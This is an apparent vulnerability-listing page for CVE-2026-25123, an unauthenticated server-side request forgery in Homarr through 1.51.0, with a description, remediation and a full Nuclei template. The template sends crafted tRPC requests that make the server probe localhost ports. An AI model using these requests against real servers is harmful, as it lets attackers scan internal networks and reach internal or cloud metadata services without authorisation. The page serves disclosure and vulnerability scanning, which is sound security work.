CVE-2026-25123: Homarr <= 1.51.0 - Unauthenticated Server-Side Request Forgery

2026-11-29 PoC Public

Description

Homarr through 1.51.0 exposes widget.app.ping as a public tRPC procedure that fetches an attacker-supplied URL and returns the result. An unauthenticated caller can make the server contact loopback or internal addresses and distinguish reachable ports.

Details

CVE
CVE-2026-25123 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-25123

info:
  name: Homarr <= 1.51.0 - Unauthenticated Server-Side Request Forgery
  author: s4e-io
  severity: medium
  description: |
    Homarr through 1.51.0 exposes widget.app.ping as a public tRPC procedure that fetches an attacker-supplied URL and returns the result. An unauthenticated caller can make the server contact loopback or internal addresses and distinguish reachable ports.
  impact: |
    An unauthenticated attacker can use the Homarr server to scan internal ports and send HTTP requests to loopback, private-network, and potentially cloud metadata services.
  remediation: |
    Upgrade Homarr to version 1.52.0 or later.
  reference:
    - https://github.com/homarr-labs/homarr/security/advisories/GHSA-c6rh-8wj4-gv74
    - https://github.com/homarr-labs/homarr/commit/8811af5e6e1c62f3bced77ce345c62337cefc27a
    - https://github.com/homarr-labs/homarr/releases/tag/v1.52.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-25123
    epss-score: 0.00851
    epss-percentile: 0.55705
    cwe-id: CWE-918
    cpe: cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: homarr
    product: homarr
    shodan-query: http.title:"Homarr"
    fofa-query: title="Homarr"
  tags: cve,cve2026,homarr,ssrf,unauth,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/trpc/widget.app.ping?batch=1&input=%7B%220%22%3A%7B%22json%22%3A%7B%22url%22%3A%22http%3A%2F%2Flocalhost%3A7575%2F%22%7D%7D%7D HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"url\":\"http://localhost:7575/\"", "\"statusCode\":200")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/trpc/widget.app.ping?batch=1&input=%7B%220%22%3A%7B%22json%22%3A%7B%22url%22%3A%22http%3A%2F%2Flocalhost%3A1%2F%22%7D%7D%7D HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"url\":\"http://localhost:1/\"", "\"error\":\"fetch failed\"")'
        condition: and
# digest: 490a0046304402202d353cda9379a08215463915f5e37f979cb9c607eb822df653aff1a5cf5455aa02203701475b67bdc8d82bef5a4630ced29a67d7f78a8d80e11e898312e07c41ab31:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life